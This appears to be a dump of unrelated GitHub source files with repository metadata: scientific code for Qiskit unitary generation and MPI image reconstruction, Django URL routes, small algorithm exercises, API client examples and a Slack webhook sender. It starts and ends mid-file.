\"random\",\n \"random_ps2\",\n \"random_ps4\",\n \"random_ps8\",\n \"random_ps16\",\n \"random_rank2\",\n \"random_rank4\",\n \"random_rank8\",\n \"random_rank16\",\n \"mcx\",\n \"qft\",\n \"shift1\",\n \"shift2\",\n \"shift_half\",\n \"random_perm\",\n ]\n\n\ndef make_target_matrix(target_name: str, num_qubits: int) -> np.ndarray:\n \"\"\"\n Generates and returns a target unitary matrix.\n\n Args:\n target_name: string that defines the type of target to be generated.\n num_qubits: number of qubits.\n\n Returns:\n generated target matrix.\n \"\"\"\n tic = perf_counter()\n msg = \"generates target unitary from\"\n dim = 2**num_qubits\n\n if target_name == \"random\":\n _logger.info(\"%s a random matrix\", msg)\n target = unitary_group.rvs(dim)\n\n elif target_name.startswith(\"random_rank\"):\n rank = int(\"\".join(filter(str.isdigit, target_name)))\n assert 0 < rank < dim\n _logger.info(\"%s a random, rank-%d matrix\", msg, rank)\n q_mat = np.random.rand(dim, rank) + 1j * np.random.rand(dim, rank)\n q_mat, _ = np.linalg.qr(q_mat)\n target = matrix_exp(-0.25j * (q_mat @ np.conj(q_mat.T)))\n\n elif target_name.startswith(\"random_ps\"):\n nps = int(\"\".join(filter(str.isdigit, target_name)))\n assert 0 < nps < dim # nps - the number of Pauli strings\n _logger.info(\"%s %d random Pauli strings\", msg, nps)\n pms = np.asarray( # Pauli matrices\n [\n [[1, 0], [0, 1]],\n [[0, 1], [1, 0]],\n [[0, -1j], [1j, 0]],\n [[1, 0], [0, -1]],\n ],\n )\n target = np.zeros((dim, dim), np.cfloat)\n for _ in range(nps):\n pstr = 1\n for __ in range(num_qubits):\n pstr = np.kron(pstr, pms[np.random.randint(0, 4)])\n pstr *= 0.75 * (1 + np.random.rand()) # scale: 0.75 .. 1.5\n target += pstr\n target = matrix_exp(-0.25j * target)\n\n elif target_name == \"mcx\":\n _logger.info(\"%s a single multi-control CNOT gate\", msg)\n target = np.eye(dim, dtype=np.cfloat)\n half, last = dim // 2 - 1, dim - 1\n target[half, half], target[half, last] = 0, 1\n target[last, half], target[last, last] = 1, 0\n\n # Check a small matrix against Qiskit one.\n if num_qubits <= 7:\n qc = QuantumCircuit(num_qubits)\n qc.mcx(list(range(num_qubits - 1)), num_qubits - 1)\n tol = 100 * np.finfo(np.float64).eps\n assert np.allclose(target, Operator(qc).data, atol=tol, rtol=tol)\n\n elif target_name == \"qft\":\n _logger.info(\"%s a QFT circuit\", msg)\n target = Operator(QFT(num_qubits)).data\n\n elif target_name == \"shift1\":\n _logger.info(\n \"%s a unit matrix with diagonal cyclically shifted one position to the right\",\n msg,\n )\n target = np.roll(np.eye(dim, dtype=np.cfloat), 1, axis=1)\n\n elif target_name == \"shift2\":\n _logger.info(\n \"%s a unit matrix with diagonal cyclically shifted two positions to the right\",\n msg,\n )\n target = np.roll(np.eye(dim, dtype=np.cfloat), 2, axis=1)\n\n elif target_name == \"shift_half\":\n _logger.info(\n \"%s a unit matrix with diagonal cyclically \"\n \"shifted dim/2 positions to the right (half of matrix size)\",\n msg,\n )\n target = np.roll(np.eye(dim, dtype=np.cfloat), dim // 2, axis=1)\n\n elif target_name == \"random_perm\":\n _logger.info(\"%s a randomly permuted identity matrix\", msg)\n target = np.take(np.eye(dim, dtype=np.cfloat), np.random.permutation(dim), axis=1)\n\n else:\n raise ValueError(\n f\"target type is not in the set of supported ones: \"\n f\"{available_target_matrix_types()}, got {target_name}\",\n )\n\n # Check the matrix is really a unitary one.\n if num_qubits <= 8:\n tol = float(np.sqrt(np.finfo(np.float64).eps))\n if not np.allclose(np.vdot(target, target), dim, atol=tol, rtol=tol):\n raise ValueError(\"target matrix seems not a unitary one\")\n\n toc = perf_counter()\n _logger.info(\"Target matrix has been prepared in %0.2f secs\", toc - tic)\n return target\n\n\ndef make_su_matrix(mat: np.ndarray) -> np.ndarray:\n \"\"\"\n Creates SU matrix from the input unitary one via multiplication\n by a complex number.\n\n Args:\n mat: input unitary matrix.\n\n Returns:\n a new SU matrix, generated from the input one, or the same input matrix,\n if it is already in SU class.\n \"\"\"\n assert chk.complex_2d(mat)\n tol = float(np.sqrt(np.finfo(float).eps))\n dim = mat.shape[0]\n det = np.linalg.det(mat)\n if not np.isclose(det, 1.0, atol=tol, rtol=tol):\n mat = mat / np.power(det, (1.0 / dim)) # a new matrix\n _logger.info(\"the target U matrix has been converted into SU one\")\n return mat\n","repo_name":"qiskit-community/aqc-research","sub_path":"aqc_research/target_generator.py","file_name":"target_generator.py","file_ext":"py","file_size_in_byte":9138,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"36040850359","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.login),\n path('index', views.index),\n path('map', views.map),\n path('admin', views.admin) ,\n path('contact', views.contact) ,\n path('signup/', views.user_signup) ,\n path('login/', views.user_login),\n path('changepw/', views.changepw),\n path('logout/', views.app_logout) ,\n path('notification/', views.notification) ,\n]","repo_name":"yadavamrendra123/Minor-Project","sub_path":"smart_meter/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"70490739416","text":"import sys\nimport re\n\ndef phase1Func(f,fterms, fpdates, fprices, fads):\n for i in range(2):\n f.readline()\n while True:\n line = f.readline()\n if line.strip() == '':\n break\n else:\n aid = FuncCutStr(line, 'aid')\n # print(aid)\n ti = FuncCutStr(line, 'ti')\n for term in filter(ti):\n fterms.write(term + ':' + aid + '\\n')\n desc = FuncCutStr(line, 'desc')\n for term in filter(desc):\n fterms.write(term + ':' + aid + '\\n')\n \n date = FuncCutStr(line, 'date')\n cat = FuncCutStr(line, 'cat')\n loc = FuncCutStr(line, 'loc')\n price = FuncCutStr(line, 'price')\n fpdates.write(date + ':' + aid + ',' + cat + ',' + loc + '\\n')\n fprices.write(price.rjust(12) + ':' + aid + ',' + cat + ',' + loc + '\\n')\n\n ad = FuncCutStr(line, 'ad')\n fads.write(aid + ':' + ad + '\\n')\n return\n\ndef FuncCutStr(line, key):\n return line.split('')[0].split('<'+key+'>')[1]\n\ndef filter(term):\n term = term.replace(''', ' ').replace('"', ' ').replace('&', ' ')\n term = re.sub(r'[&][#][0-9]+[;]','', term)\n \n format = 'abcdefghijklmnopqrstuvwxyz0123456789-_'\n term = term.lower()\n for c in term:\n if not c in format:\n term = term.replace(c, ' ')\n\n returnList = []\n terms = term.split(' ')\n for t in terms:\n t = t.strip()\n if len(t) > 2:\n returnList.append(t)\n \n return returnList\n\n\ndef main(path):\n path = './' + path\n f = open(path, 'r')\n fterms = open('terms.txt', 'w')\n fpdates = open('pdates.txt', 'w')\n fprices = open('prices.txt', 'w')\n fads = open('ads.txt', 'w')\n phase1Func(f, fterms, fpdates, fprices, fads)\n\n fterms.close()\n fpdates.close()\n fprices.close()\n fads.close()\n\nmain(sys.argv[1])\n\n","repo_name":"ChongzhengChen/File-and-Database-Management","sub_path":"Project2/phase1.py","file_name":"phase1.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72693828698","text":"def is_anagram(first_string, second_string):\n if first_string == \"\" and second_string == \"\":\n return (first_string, second_string, False)\n\n firstWord = \"\".join(merge_sort(list(first_string.lower())))\n secondWord = \"\".join(merge_sort(list(second_string.lower())))\n\n return (firstWord, secondWord, firstWord == secondWord)\n\n\ndef merge_sort(word):\n if len(word) <= 1:\n return word\n\n mid = len(word) // 2\n left = word[:mid]\n right = word[mid:]\n\n left = merge_sort(left)\n right = merge_sort(right)\n\n return merge(left, right)\n\n\ndef merge(left, right):\n result = []\n i = j = 0\n\n while i < len(left) and j < len(right):\n if left[i] < right[j]:\n result.append(left[i])\n i += 1\n else:\n result.append(right[j])\n j += 1\n\n result.extend(left[i:])\n result.extend(right[j:])\n return result\n","repo_name":"JessicaLopesDev/algorithms-project","sub_path":"challenges/challenge_anagrams.py","file_name":"challenge_anagrams.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"33341691037","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'inter_event'\n\nurlpatterns = [\n path('', views.index, name='inter_events'),\n path('/', views.detail, name='detail'),\n path('create_inter_event/', views.createInter_event, name='create_event'),\n path('edit_inter_event/', views.editInter_event.as_view(), name='edit_event'),\n path('update_inter_event/', views.updateInter_event, name='update_event'),\n path('delete_inter_event/', views.deleteInter_event, name='delete_event'),\n path('team_registration/', views.team_registration, name='team_registration'),\n \n]\n\n'''\n\n'''\n","repo_name":"Grumpy-Frog/IUTCS","sub_path":"inter_university_event/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"12351615601","text":"from app.api import *\nfrom main import get_token\n\n\ndef main():\n \"\"\"Примеры использования API\"\"\"\n token = get_token()\n api = API(token)\n user_id = \"solodushkin_si\"\n\n # Вывести информацию о пользователе\n print(api.get_user_info(user_id))\n\n # Вывести названия фотоальбомов пользователя\n print(\"\\n\".join(api.get_albums(user_id)) + \"\\n\")\n\n # Вывести информацию о друзьях пользователя\n # Метод get_friends ленивый!\n for friend in api.get_friends(user_id):\n print(str(friend))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GrigoryArcibashev/protocols","sub_path":"API/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"20728138344","text":"import pandas as pd\nfrom sklearn.preprocessing import StandardScaler\nfrom imblearn.over_sampling import SMOTE,ADASYN\nimport numpy as np\n\n# ----------------------------------------------------------------------------------\n# \t\t\t\tNORMALISATION\n# ----------------------------------------------------------------------------------\n\n\ndef normalisation(x_train,x_test,label,nFeatures, normalisation=True):\n if normalisation:\n scaler = StandardScaler().fit(x_train.iloc[:,0:nFeatures])\n X_train_normalisation = pd.DataFrame(scaler.transform(x_train.iloc[:,0:nFeatures]))\n y_train_label = x_train.New_label\n filename_train = x_train.File_Name\n\n X_test_normalisation = pd.DataFrame(scaler.transform(x_test.iloc[:,0:nFeatures]))\n y_test_label = x_test[label]\n filename_test = x_test.File_Name\n \n else:\n #scaler = StandardScaler().fit(x_train.iloc[:,0:nFeatures])\n X_train_normalisation = pd.DataFrame(x_train.iloc[:,0:nFeatures])\n y_train_label = x_train.New_label\n filename_train = x_train.File_Name\n\n X_test_normalisation = pd.DataFrame(x_test.iloc[:,0:nFeatures])\n y_test_label = x_test[label]\n filename_test = x_test.File_Name\n \n \n # A check to see whether the mean of x_train and X_test are ~ 0 with std 1.0\n# print(X_train_normalisation.mean(axis=0))\n# print(X_train_normalisation.std(axis=0))\n# print(X_test_normalisation.mean(axis=0))\n# print(X_test_normalisation.std(axis=0))\n \n return X_train_normalisation, y_train_label, filename_train, X_test_normalisation,\\\n y_test_label, filename_test\n\n# ----------------------------------------------------------------------------------\n# Sigma Clipping\n# ----------------------------------------------------------------------------------\n\ndef sigma_clipping(date, mag, err, threshold=3, iteration=1):\n \"\"\"\n Remove any fluctuated data points by magnitudes.\n \n Parameters\n ----------\n date : an array of dates\n mag : an array of magnitudes\n err : an array of magnitude errors\n threshold : float, optional (Threshold for sigma-clipping) Here we use 3 sigma\n iteration : int, optional (the number of iteration)\n \n Returns\n -------\n date : an array of Sigma-clipped dates\n mag : an array of Sigma-clipped magnitudes.\n err : an array of Sigma-clipped magnitude errors.\n \"\"\"\n\n if (len(date) != len(mag)) \\\n or (len(date) != len(err)) \\\n or (len(mag) != len(err)):\n raise RuntimeError('Warning message: The length of date, mag, and err must be same.')\n\n # By magnitudes\n for i in range(int(iteration)):\n mean = np.median(mag)\n std = np.std(mag)\n index = (mag >= mean - threshold*std) & (mag <= mean + threshold*std)\n date = date[index]\n mag = mag[index]\n err = err[index]\n\n return date, mag, err\n\n\n# ----------------------------------------------------------------------------------\n# \t\t\t\tSMOTE AUGMENTATION\n# ----------------------------------------------------------------------------------\n\ndef smote_augmentation(training,testing,label,nFeatures,aug_tech='ADASYN',augmentation=False):\n X_train_normalisation, y_train_np, filename_train, X_test_normalisation,\\\n y_test_np, filename_test = normalisation(training,testing,label,nFeatures) \n \n \n y_label_bf = np.unique(y_train_np)\n if augmentation:\n for i in range(len(y_label_bf)):\n print(\"Before OverSampling, counts of label {}: {}\".format(y_label_bf[i],(y_train_np[y_train_np==y_label_bf[i]]).shape))\n\n if (aug_tech == 'ADASYN'):\n ada = ADASYN(ratio ='all')#\n X_train_aug, y_train_aug = ada.fit_sample(X_train_normalisation, y_train_np.ravel())\n data_1 = pd.DataFrame(X_train_aug)\n data_1['True_class_labels'] = y_train_aug\n X_train_norm = data_1.iloc[:,0:nFeatures]\n y_train_norm = data_1.iloc[:,nFeatures]\n \n \n else:\n\n # sm = SMOTE(random_state=2, ratio = 1.0,kind='svm')\n sm = SMOTE(ratio = 'all')\n X_train_aug, y_train_aug = sm.fit_sample(X_train_normalisation, y_train_np.ravel())\n data_1 = pd.DataFrame(X_train_aug)\n data_1['True_class_labels'] = y_train_aug\n X_train_norm = data_1.iloc[:,0:nFeatures]\n y_train_norm = data_1.iloc[:,nFeatures]\n\n\n y_label_af = np.unique(y_train_norm)\n print('-'*70)\n for j in range(len(y_label_af)):\n print(\"After OverSampling, counts of label {}: {}\".format(y_label_af[j],y_train_norm.loc[y_train_norm==y_label_af[j]].shape))\n\n\n X_train = X_train_norm \n y_train = y_train_norm\n y_test = y_test_np\n X_test = X_test_normalisation\n \n return X_train, y_train, X_test, y_test\n\n","repo_name":"Zafiirah13/ICVaS","sub_path":"code/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":5054,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"68"} +{"seq_id":"6680530633","text":"pessoa = {\n 'Nomes': ['Maria', 'Pedro', 'Joao'],\n 'ColunaA': [1, 0.5, 3.2],\n 'ColunaB': [5, 3, 1]\n}\n\nprint(pessoa['Nomes'][1], pessoa['ColunaB'][1])\n\n# deve ter um jeito melhor\n\npessoa2 = {\n 'Maria': {\n 'ColunaA': 1,\n 'ColunaB': 5\n },\n 'Pedro':{\n 'ColunaA': 0.5,\n 'ColunaB': 3\n }\n}\n\n\nprint('Pedro: ' ,pessoa2['Pedro']['ColunaB'])","repo_name":"vladlemos/lets-code-python","sub_path":"Aula_5/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36568695733","text":"import re\nimport xml.dom.minidom\n\nimport common\n\nclass XmlFormat:\n\tdef __init__(self):\n\t\tself.puncAndSpace = re.compile(\"[^A-Za-z0-9]+\")\n\t\tpass\n\n\tdef deserialize(self, filePath):\n\t\ttree = xml.dom.minidom.parse(filePath)\n\t\treturn [ self.__XmlSentenceToTaggedSentence(sentenceElem) for sentenceElem in tree.getElementsByTagName(\"sentence\") ]\n\n\tdef __XmlSentenceToTaggedSentence(self, sentenceElem):\n\t\treturn common.TaggedSentence( [ taggedWord for child in sentenceElem.childNodes for taggedWord in self.__XmlSentenceChildToTaggedWords(child) ] )\n\n\tdef __XmlSentenceChildToTaggedWords(self, child):\n\t\ttext = \"\"\n\t\ttextType = None\n\t\tif child.nodeType == child.TEXT_NODE:\n\t\t\ttext = child.nodeValue\n\t\t\ttextType = \"text\"\n\t\telif child.nodeType == child.ELEMENT_NODE:\n\t\t\tif child.nodeName == \"cons\":\n\t\t\t\ttext = child.getAttribute(\"lex\")\n\t\t\t\ttextType = \"gene\"\n\t\t\telse:\n\t\t\t\tassert False\n\n\t\ttaggedWords = []\n\t\ttokens = self.puncAndSpace.split(text)\n\t\tif textType == \"text\":\n\t\t\ttaggedWords += map(lambda word: common.TaggedWord(word, \"O\"), tokens)\n\t\telse:\n\t\t\ttaggedWords += [ common.TaggedWord(tokens[0], \"I\") ]\n\t\t\ttaggedWords += map(lambda word: common.TaggedWord(word, \"I\"), tokens[1:])\n\t\n\t\treturn filter(lambda taggedWord: len(taggedWord.word) > 0, taggedWords)\n","repo_name":"lewellen/geneNamedEntityRecog","sub_path":"src/genia.py","file_name":"genia.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"71580630296","text":"#coding=utf-8 \r\nfrom libT2S import T2S\r\nimport openai\r\nimport os, random\r\nfrom configparser import ConfigParser\r\nimport ast\r\n\r\ncfg = ConfigParser()\r\ncfg.read(\"config.ini\",encoding=\"utf-8\")\r\n\r\nmodel_engine = cfg.get(\"OpenAI\", \"model_engine\")\r\nopenai.api_key = cfg.get(\"OpenAI\", \"API\")\r\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=cfg.get(\"Google\", \"GOOGLE_APPLICATION_CREDENTIALS_PATH\").replace('\\\\','/')\r\n\r\ngt2s = T2S()\r\npersons = ast.literal_eval(cfg.get(\"Google\", \"voices\"))\r\nid_person = random.randint(0,len(persons)-1)\r\nlanguage_audio = persons[id_person]\r\n\r\n#---------------------------------\r\ndef GPT(query):\r\n completion = openai.Completion.create(\r\n engine=model_engine,\r\n prompt=query,\r\n max_tokens=1024,\r\n n=1,\r\n stop=None,\r\n temperature=0.5,\r\n )\r\n response = completion.choices[0].text\r\n return response\r\n\r\n# Specify you exit condition\r\nexit_conditions = (\":q\", \"quit\", \"exit\")\r\n\r\n\r\nwhile True:\r\n query = input(\"> \")\r\n if query in exit_conditions:\r\n break\r\n else:\r\n rtn_txt = GPT(query)\r\n print (\"ChatGPT: %s \" % (rtn_txt))\r\n gt2s.speak(rtn_txt, language_audio)\r\n \r\n with open('history_t2s.txt', 'a', encoding='UTF-8') as f:\r\n f.write('\\n' + query + '\\n' + rtn_txt + '\\n ----------------------------------------------- \\n')\r\n","repo_name":"ch-tseng/chatGPT_Talking","sub_path":"t2s.py","file_name":"t2s.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"68"} +{"seq_id":"34308514634","text":"__author__ = 'https://github.com/password123456/'\n__date__ = '2023.01.28'\n__version__ = '1.0.0'\n\nimport sys\nimport requests\nimport json\n\n\nclass Bcolors:\n Black = '\\033[30m'\n Red = '\\033[31m'\n Green = '\\033[32m'\n Yellow = '\\033[33m'\n Blue = '\\033[34m'\n Magenta = '\\033[35m'\n Cyan = '\\033[36m'\n White = '\\033[37m'\n Endc = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\ndef send_to_slack(message):\n webhook_url = 'YOUR WEBHOOK URL'\n\n header = {\n 'Content-Type': 'application/json',\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 \\\n (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36',\n }\n\n params = [\n {\n 'type': 'section',\n 'text': {\n 'type': 'mrkdwn',\n 'text': message\n }\n }\n ]\n\n try:\n r = requests.post(webhook_url, headers=header, data=json.dumps({'blocks': params}), verify=True)\n print(f'{Bcolors.Green}- http_code: {r.status_code} { Bcolors.Endc}')\n except KeyboardInterrupt:\n sys.exit(0)\n except Exception as e:\n print(f'{Bcolors.Yellow}- ::Exception:: Func:[{send_to_slack.__name__}] Line:[{sys.exc_info()[-1].tb_lineno}] [{type(e).__name__}] {e}{Bcolors.Endc}')\n else:\n r.close()\n\n\ndef main():\n msg = f\"\"\"\nHi ~ \n> #### The quarterly results look great!\n>\n> - Revenue was off the chart.\n> - Profits were higher than ever.\n>\n> *Everything* is going according to **plan**.\n\nI love supporting the **[EFF](https://eff.org)**.\nThis is the *[Markdown Guide](https://www.markdownguide.org)*.\n\n`# This program prints Hello, world!`\n`print('Hello, world!')`\n\"\"\"\n send_to_slack(msg)\n\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n sys.exit(0)\n except Exception as e:\n print(f'{Bcolors.Yellow}- ::Exception:: Func:[{__name__.__name__}] Line:[{sys.exc_info()[-1].tb_lineno}] [{type(e).__name__}] {e}{Bcolors.Endc}')\n \n \n","repo_name":"password123456/slack_api_example","sub_path":"send_webhook_with_markdown/send_to_slack_webhook_with_mrkdwn.py","file_name":"send_to_slack_webhook_with_mrkdwn.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"34828526538","text":"# 235. Lowest Common Ancestor of a Binary Search Tree\n# https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n def __str__(self):\n return f'<{self.val}, {self.left}, {self.right}>'\n\n\ndef createTreeNode(list):\n\n from collections import deque\n\n data = list\n n = iter(data)\n tree = TreeNode(next(n))\n fringe = deque([tree])\n while True:\n head = fringe.popleft()\n try:\n head.left = TreeNode(next(n))\n fringe.append(head.left)\n head.right = TreeNode(next(n))\n fringe.append(head.right)\n except StopIteration:\n break\n\n return tree\n\n\nclass Solution:\n def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':\n if root is None:\n return None\n if root.val > p.val and root.val > q.val:\n return self.lowestCommonAncestor(root.left, p, q)\n elif root.val < p.val and root.val < q.val:\n return self.lowestCommonAncestor(root.right, p, q)\n else:\n return root\n","repo_name":"nk18chi/leetcode-python","sub_path":"solutions/lowest_common_ancestor_of_a_binary_search_tree/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"72439164377","text":"from drf_yasg import openapi\nfrom drf_yasg.views import get_schema_view\n\nschema_view = get_schema_view(\n openapi.Info(\n title=\"EatTop API\",\n default_version='v1',\n description=\"EatTop API description\",\n terms_of_service=\"https://www.google.com/policies/terms/\",\n contact=openapi.Contact(email=\"contact@eat.top\"),\n license=openapi.License(name=\"BSD License\"),\n ),\n public=True,\n)\n","repo_name":"zakharfsk/EatTop","sub_path":"EatTop/docs_setting.py","file_name":"docs_setting.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"31117722718","text":"import torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.io import loadmat\nimport torch.nn.functional as F\n\nfrom data import *\nfrom reconAlgos import *\nfrom modelClasses import *\nfrom trainerClasses import *\n\nimport gc\nimport time\nimport copy\n\n# Settings for inference:\n\ngpuNo = 0 # use GPU ID\n\ninitializationTo = 1 # initialize ADMM to least squares input\n# 0: zeros\n# 1: least squares input\n# 2: Regularized least squares input\n\n# run inference for these techniques:\n# L1, TV, L1_TV are the conventional hand-crafted regularizers.\n# other ones include folder names under \"training/denoiser/\" \n# after \"+\" one can include l1, tv for a linear combination of plug-and-play and l1 and/or tv. Finally, \"(-1,0,1,2)\" includes the proposed averaging in all three axes.\n\ndescriptorsHere = [\\\n\"L1\",\\\n\"TV\",\\\n\"L1_TV\",\\\n\"ppmpi_lr_0.001_wd_0_bs_64_mxNs_0.1_fixNs_1_data_mnNs_0_nF12_nB4_lieb4_gr12_rMn1.0_0.0+ (2)\",\\\n\"ppmpi_lr_0.001_wd_0_bs_64_mxNs_0.1_fixNs_1_data_mnNs_0_nF12_nB4_lieb4_gr12_rMn1.0_0.0+ (-1,0,1,2)\" \\\n ]\n\nnbOfSingulars = 2200 # used number of singular values for truncated image reconstruction.\n\ntorch.cuda.set_device(gpuNo)\nprint(torch.cuda.get_device_name(gpuNo))\n\n# Load Data\n\nn1 = n2 = n3 = 19 # image dimensions\n\nloadMtxOpenMPI = loadmat(\"OpenMPI/mtxAndPhantomOpenMpi.mat\")\nsysMtx = torch.from_numpy(loadMtxOpenMPI['Aconcat']).float().cuda()\nU, S, Vh = torch.linalg.svd(\\\n sysMtx.reshape(-1, n1 * n2 * n3), full_matrices=False)\n\nif nbOfSingulars is None:\n nbOfSingulars = min(sysMtx.shape)\n\nnbSvd = nbOfSingulars\nU_ = U[:, :nbSvd]\nS_ = S[:nbSvd]\nVh_ = Vh[:nbSvd, :]\nV_ = Vh_.T\ntheSys = U_.T @ sysMtx \n\nbconcat = loadMtxOpenMPI['bconcat']\nunderlyingEpsilon = None\nimgSize = [-1, 1, n1, n2,n3]\nmyDataGen = torch.from_numpy(bconcat).float().cuda().reshape(1, -1)\n\ndatatC, lsqrInp = admmInputGenerator(myDataGen, U_, S_, V_, imgSize)\nunderlyingImage = torch.linalg.lstsq(sysMtx, myDataGen.T).solution.T.reshape(-1, n1, n2,n3)\n\nNbatch = datatC.shape[0]\nfwdBatch = None # None for batchless process\n\nimgSize = [n1,n2,n3]\ntheWholeSize = ((-1, 1, *imgSize))\n\nsimMtx2 = theSys\n\nAtC = simMtx2.reshape(-1, n1*n2*n3)\ndescriptors = copy.deepcopy(descriptorsHere)\n\n\nif underlyingEpsilon is not None:\n epsilonVal = underlyingEpsilon\nelse:\n epsilonVal = torch.norm(datatC, dim=1) * 10**(-23/20)*1.5\n if epsilonVal.numel() == 1:\n epsilonVal = float(epsilonVal)\n\nepsilon = epsilonVal\nrefVals = underlyingImage.reshape(Nbatch, -1)\n\ndatatC, lsqrInp = admmInputGenerator(myDataGen, U_, S_, V_, theWholeSize)\ndatatC = datatC.reshape(Nbatch, -1)\n\nif initializationTo == 0:\n x_in = torch.zeros_like(underlyingImage)\nelif initializationTo == 1:\n x_in = lsqrInp.reshape(-1, n1, n2)\nelse:\n x_in = F.linear(F.linear(datatC, AtC.T), torch.inverse(\n 1 * torch.eye(n1 * n2).type_as(AtC.T) + AtC.T @ AtC)).reshape(-1, n1, n2)\n\noutImgs = list()\noutDiags = list()\noutMaxs = list()\noutNetworkNorms = list()\noutNetworkNrmses = list()\noutPsnrs = list()\noutHfens = list()\noutL1Obj = list()\noutTVobj = list()\noutCritobj = list()\n\noutX1 = list()\noutX2 = list()\n\ninPsnrs = list()\n\ninPsnrs.append(psnr(refVals, x_in.reshape(Nbatch, -1)))\n\nmu1 = 1\nmu2 = 10\nmu3 = 50\nMaxIter = 1200\nverboseIn = 300\ntheADMMclass = ADMMfncs(AtC, MaxIter, verboseIn, imgSize)\n\nMadmm = theADMMclass.MtC\n\nfor i, descriptor in enumerate(descriptors):\n theADMMclass.MaxIter = 350 if 'L1' in descriptor or 'TV' in descriptor else 100\n\n print(\"Run Reconstruction for: \", descriptor,end=' ')\n print(\"\")\n\n startTime = time.time()\n if '(' in descriptor:\n theSliceIndices = eval(descriptor[descriptor.find('('):descriptor.find(')')+1])\n descriptors[i] = descriptor = descriptor[:descriptor.find('(')]\n print('theSliceIndices:',theSliceIndices)\n\n if not (\"L1\" in descriptor or \"TV\" in descriptor):\n\n model = getModel(descriptor[:-3])\n muScaleIter = 1\n mu2Scale = 1\n fnc1 = ppFnc2dnmBatch3d(1/mu1, model, shape3d = imgSize, batchAxis=theSliceIndices,fwdBatch=fwdBatch)\n\n fnc2 = softTV(1/30, imgSize, 10)\n fnc3 = softT(1/20)\n\n fncUse = None\n synCaller = False\n\n if 'tv' in descriptors[i]:\n fncUse = fnc2\n elif 'l1' in descriptors[i]:\n fncUse = fnc3\n elif 'lS' in descriptors[i]:\n fncUse = softTpos(1/20)\n synCaller = True\n\n if synCaller:\n x_rec, outDiag, outPsnr, outHfen, inpOutNorms, inpOutNrmses, outMax, l1Obj, TVobj, critObj, x1, x2 = theADMMclass.ADMMreconDualSynthesis(\n datatC, fnc1, fncUse, epsilon, refVals, mu2Scale=mu2Scale, muScaleIter=muScaleIter, x_in=x_in)\n outX1.append(x1)\n outX2.append(x2)\n else:\n if fncUse is None:\n x_rec, outDiag, outPsnr, outHfen, inpOutNorms, inpOutNrmses, outMax, l1Obj, TVobj, critObj = theADMMclass.afterFnc(\n datatC, fnc1, fnc1, 0, epsilon, refVals, mu2Scale=1, muScaleIter=muScaleIter, x_in=x_in)\n else:\n x_rec, outDiag, outPsnr, outHfen, inpOutNorms, inpOutNrmses, outMax, l1Obj, TVobj, critObj = theADMMclass.ADMMreconDual(\n datatC, fnc1, fncUse, epsilon, refVals, mu2Scale=mu2Scale, muScaleIter=muScaleIter, x_in=x_in)\n else:\n l1c = 100\n tvc = 100\n\n if not \"TV\" in descriptor:\n l1c = 1e3\n theADMMclass.MaxIter = 1000\n elif not \"L1\" in descriptor:\n tvc = 1e3\n theADMMclass.MaxIter = 1000\n else:\n l1c = 1e5\n tvc = 1e4\n theADMMclass.MaxIter = 2200\n\n muScaleIter = 70\n if not \"TV\" in descriptor:\n fnc3 = softT(1/l1c)\n x_rec, outDiag, outPsnr, outHfen, inpOutNorms, inpOutNrmses, outMax, l1Obj, TVobj, critObj = theADMMclass.afterFnc(\n datatC, fnc3, fnc3, 0, epsilon, refVals, mu2Scale=1, muScaleIter=muScaleIter, x_in=x_in)\n\n elif not \"L1\" in descriptor:\n fnc2 = softTV(1/tvc, imgSize, 10)\n x_rec, outDiag, outPsnr, outHfen, inpOutNorms, inpOutNrmses, outMax, l1Obj, TVobj, critObj = theADMMclass.afterFnc(\n datatC, fnc2, fnc2, 0, epsilon, refVals, mu2Scale=1, muScaleIter=muScaleIter, x_in=x_in)\n else:\n fnc3 = softT(1/l1c)\n fnc2 = softTV(1/tvc, imgSize, 10)\n x_rec, outDiag, outPsnr, 